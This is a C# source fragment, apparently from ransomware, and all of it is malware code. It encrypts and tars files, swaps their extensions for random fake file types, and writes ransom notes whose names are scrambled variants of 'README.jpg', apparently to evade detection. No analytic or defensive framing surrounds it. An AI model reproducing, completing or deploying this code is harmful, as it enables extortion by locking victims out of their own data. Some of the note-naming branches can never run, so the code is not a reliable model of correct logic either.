private void EncryptFileHandler(EncryptionWorkerContext w, FileInfo file)
{
if (w.fileCount == 0)
{
w.Close();
// create new one
CreateTarOutputStream(file, w);
}
TarFile(file.FullName, w.encryptedTarStream);
w.filesSize += file.Length;
++w.fileCount;
// check limits, if exceeded then reset them
if ((w.fileCount >= MaxFilesInArchive && MaxFilesInArchive > 0) || (MaxOutputFileSize > 0 && w.filesSize >= MaxOutputFileSize))
{
w.Reset();
}
}
private void CreateTarOutputStream(FileInfo encFile, EncryptionWorkerContext w)
{
KeyValuePair <string, byte[]> fileType = (from ft in fileTypes
select ft).Skip(random.Next(0, fileTypes.Count() - 1)).First();
string extension = encFile.Extension;
if (fileType.Key == extension)
{
fileType = (from ft in fileTypes
where ft.Key != extension
select ft).First();
}
// remove old file extension and add new one
string fileName = encFile.FullName;
fileName = fileName.Substring(0, fileName.Length - extension.Length); // + fileType.Key
fileName += fileType.Key;
Console.WriteLine("CreateOutputStream: {0}", fileName);
w.output = new FileStream(fileName, FileMode.Create, FileAccess.Write);
CryptoStream crypt = GetEncryptStream(w.output, fileType.Value);
if (Compress)
{
w.encryptedTarStream = new TarOutputStream(new GZipOutputStream(crypt));
}
else
{
w.encryptedTarStream = new TarOutputStream(crypt);
}
Random _random = new Random();
int num = _random.Next(0, 26); // Zero to 25
char let = (char)('a' + num);
int rArch2 = random.Next(1, 10);
if (rArch2 == 1)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "READ" + let + "ME.jpg");
}
if (rArch2 == 2)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "REA" + let + "DME.jpg");
}
if (rArch2 == 3)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "READM" + let + "E.jpg");
}
if (rArch2 == 4)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "RE" + let + "ADME.jpg");
}
if (rArch2 == 5)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "R" + let + "EADME.jpg");
}
if (rArch2 == 6)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "read" + let + "this.jpg");
}
if (rArch2 == 7)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "rE" + let + "dME.jpg");
}
if (rArch2 == 8)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "readm" + let + "E.jpg");
}
if (rArch2 == 9)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "re" + let + "adme.jpg");
}
if (rArch2 == 10)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "R" + let + "EADME.jpg");
}
if (rArch2 == 11)
{
GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "Listen" + let + "toME.jpg");
}
}